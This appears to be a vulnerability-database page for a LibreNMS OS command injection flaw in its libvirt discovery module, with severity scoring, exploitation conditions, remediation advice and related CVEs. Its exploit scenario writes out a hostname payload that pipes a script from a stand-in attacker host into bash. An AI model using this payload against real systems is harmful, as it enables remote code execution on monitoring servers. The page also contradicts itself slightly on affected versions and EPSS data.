Skip to main content

LibreNMS CVE-2026-84194

| EUVDEUVD-2026-69031 HIGH
OS Command Injection (CWE-78)
2026-09-01 VulnCheck GHSA-jjvr-265m-qmq9
8.6
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as LibreNMS admin
  2. Delivery
    Set device hostname with shell metacharacters
  3. Exploit
    Confirm enable_libvirt=true is configured
  4. Execution
    Trigger or await scheduled discovery run
  5. Persist
    Hostname concatenated unsanitized into exec() call
  6. Impact
    Arbitrary OS commands execute as discovery worker

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Three conditions must be simultaneously true for exploitation: (1) the attacker holds a valid LibreNMS administrator account - lower-privileged LibreNMS user roles cannot modify device hostnames in a way that reaches the vulnerable code path; (2) the libvirt discovery feature is explicitly enabled, meaning enable_libvirt=true has been set in the LibreNMS configuration, which is a non-default state requiring deliberate operator action; and (3) the LibreNMS discovery worker executes a discovery cycle against the crafted device, either via the scheduled poller or a manually triggered discovery run. Deployments without libvirt enabled - the majority of LibreNMS installations - are not exposed to this code path. The impact is bounded by the OS-level privileges of the discovery worker process user account.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:H/UI:N) reflects a network-accessible attack requiring administrator-level privileges with no additional complexity - the high privilege requirement is the primary mitigating factor against opportunistic exploitation. The subsequent-system metrics (SC:L/SI:L/SA:L) suggest impact is bounded by the discovery worker process, limiting lateral reach without further OS-level escalation. EPSS data was not included in the provided intelligence, so quantitative exploitation probability cannot be assessed; the CVE is not in CISA KEV and no public exploit code has been identified. Despite requiring admin access, the practical risk is not trivial: LibreNMS admin credentials are frequently shared across multiple team members, and any compromised or malicious admin can stage arbitrary OS execution without additional exploitation steps - even a mid-sized network operations team should treat upgrading to 26.4.0 as urgent rather than routine patching, particularly given the low attack complexity once the privilege threshold is cleared.

Exploit ScenarioDerived

An attacker who has obtained LibreNMS admin credentials - via phishing, credential reuse, or insider access - edits a device record and sets the hostname to a value containing shell metacharacters such as '; curl http://attacker.example/shell.sh | bash; #'. When the LibreNMS discovery scheduler next runs against that device with libvirt discovery enabled, VminfoLibvirt.php concatenates the hostname into an exec() call, and the injected commands execute under the discovery worker's OS user identity. No public exploit code has been identified, but the technique is well-documented within the CWE-78 class and requires no specialized tooling.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 1.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 01, 2026

OS command injection in LibreNMS's libvirt discovery module (VminfoLibvirt.php) enables any authenticated administrator to execute arbitrary OS commands on the discovery worker host by setting a crafted device hostname. Affected deployments span LibreNMS 23.10.0 through 26.3.x wherever the enable_libvirt option is explicitly set to true; the vendor-released fix is version 26.4.0. No public exploit code or CISA KEV listing has been identified at time of analysis, but the attack pattern is straightforward for any actor holding admin credentials.

RemediationAI

Upgrade LibreNMS to version 26.4.0 or later, which resolves the injection by applying proper shell argument escaping in VminfoLibvirt.php; the advisory at https://github.com/librenms/librenms/security/advisories/GHSA-wff2-9gjr-95f3 documents the fix. If immediate upgrade is not feasible, disable libvirt discovery by setting enable_libvirt=false in the LibreNMS configuration - this eliminates the vulnerable code path entirely at the cost of losing VM inventory visibility via libvirt for all managed devices. As an additional hardening measure, enforce strict access controls on LibreNMS admin accounts (multi-factor authentication, IP allowlisting, session timeouts) to reduce the likelihood that an admin credential is compromised and used to stage the attack; this is a compensating control, not a substitute for patching.

Affected VersionsENISA

librenms 23.10.0 <26.4.0

Affected Packages

euvd librenms fix: 26.4.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

LibreNMS is an open-source auto-discovering network monitoring platform built in PHP (CPE: cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:*). The vulnerability resides in VminfoLibvirt.php, which orchestrates virtual machine discovery via libvirt by invoking shell commands - ssh, virsh list, virsh dumpxml, and virsh domstate - through PHP's exec() function. The device hostname, retrieved as $this->getDevice()->hostname, is concatenated directly into these command strings without escapeshellarg() sanitization or array-based argument separation, making it trivially injectable with shell metacharacters. This is a textbook instance of CWE-78 (Improper Neutralization of Special Elements used in an OS Command), where attacker-controlled data crosses a trust boundary into a shell interpreter without escaping. The vulnerability was introduced in version 23.10.0 when libvirt discovery support was added.

Know when Librenms gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.6 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
vuln.today AI 9.1 CRITICAL

Admin-level privilege required (PR:H); scope changes (S:C) because exec() executes OS commands outside the LibreNMS application boundary on the underlying host.

3.1 AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
Low

Lifecycle Timeline

2
Patch available
Sep 01, 2026 - 13:01 EUVD
CVE Published
Sep 01, 2026 - 11:33 cve.org
HIGH 8.6

DescriptionCVE.org

LibreNMS versions >= 23.10.0 and < 26.2.0 (fixed in 26.4.0) contain an authenticated OS command injection vulnerability in libvirt discovery. When libvirt support is enabled (enable_libvirt=true), the device hostname ($this->getDevice()->hostname) is concatenated into shell commands (ssh, virsh list/dumpxml/domstate) in VminfoLibvirt.php and passed to exec() without escapeshellarg() or argument separation. An authenticated admin can set a crafted device hostname to inject arbitrary OS commands, leading to remote code execution in the discovery worker context.

Technical POC Analysis

Classic CWE-78 OS command injection in the LibreNMS libvirt discovery module, file VminfoLibvirt.php (module path shown in the advisory as App\Discovery\...\VminfoLibvirt.php; the excerpt does not pr…

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

LibreNMS versions 23.10.0 through 26.3.x with libvirt discovery enabled contain a command injection vulnerability in the discovery worker module allowing authenticated administrators to execute arbitrary OS commands on the monitoring infrastructure host. Organizations running affected versions face potential compromise of critical network monitoring systems, creating risk of operational disruption and lateral movement into connected infrastructure.

Business Impact: High
Compensating Controls

Apply vendor patch: upgrade LibreNMS to version 26.4.0 or later. If immediate patching cannot be deployed, disable the enable_libvirt configuration setting until the upgrade is completed.

Threat Intelligence Overview

EPSS Score
1.4%
Top 30% exploitable
Prevalence
Medium
popular open-source network monitoring platform, not universally deployed
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 1.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +43
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2019-10669 HIGH POC
7.2 Sep 09

An issue was discovered in LibreNMS through 1.47. Rated high severity (CVSS 7.2), this vulnerability is remotely exploit

CVE-2021-44278 CRITICAL POC
9.8 Dec 03

Librenms 21.11.0 is affected by a path manipulation vulnerability in includes/html/pages/device/showconfig.inc.php. Rate

CVE-2019-10665 CRITICAL POC
9.8 Sep 09

An issue was discovered in LibreNMS through 1.47. Rated critical severity (CVSS 9.8), this vulnerability is remotely exp

CVE-2026-86426 CRITICAL POC
9.2 Sep 07

Authentication bypass in the LibreNMS REST API (all versions before 26.8.0) lets unauthenticated remote attackers reach

CVE-2026-26988 CRITICAL POC
9.1 Feb 20

SQL injection in LibreNMS 25.12.0 and below. PoC and patch available.

CVE-2019-10668 CRITICAL POC
9.1 Sep 09

An issue was discovered in LibreNMS through 1.47. Rated critical severity (CVSS 9.1), this vulnerability is remotely exp

CVE-2026-26990 HIGH POC
8.8 Feb 20

SQL injection in LibreNMS versions 25.12.0 and below allows authenticated users to extract sensitive database informatio

CVE-2024-32461 HIGH POC
8.8 Apr 22

LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. Rated high severity (CVSS 8.8), this vulnera

CVE-2020-15877 HIGH POC
8.8 Jul 21

An issue was discovered in LibreNMS before 1.65.1. Rated high severity (CVSS 8.8), this vulnerability is remotely exploi

CVE-2019-12463 HIGH POC
8.8 Sep 09

An issue was discovered in LibreNMS 1.50.1. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable,

CVE-2019-10671 HIGH POC
8.8 Sep 09

An issue was discovered in LibreNMS through 1.47. Rated high severity (CVSS 8.8), this vulnerability is remotely exploit

CVE-2026-80214 HIGH POC
8.6 Aug 26

Command injection in LibreNMS's Virtualization Discovery module enables authenticated administrator-level users to execu

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy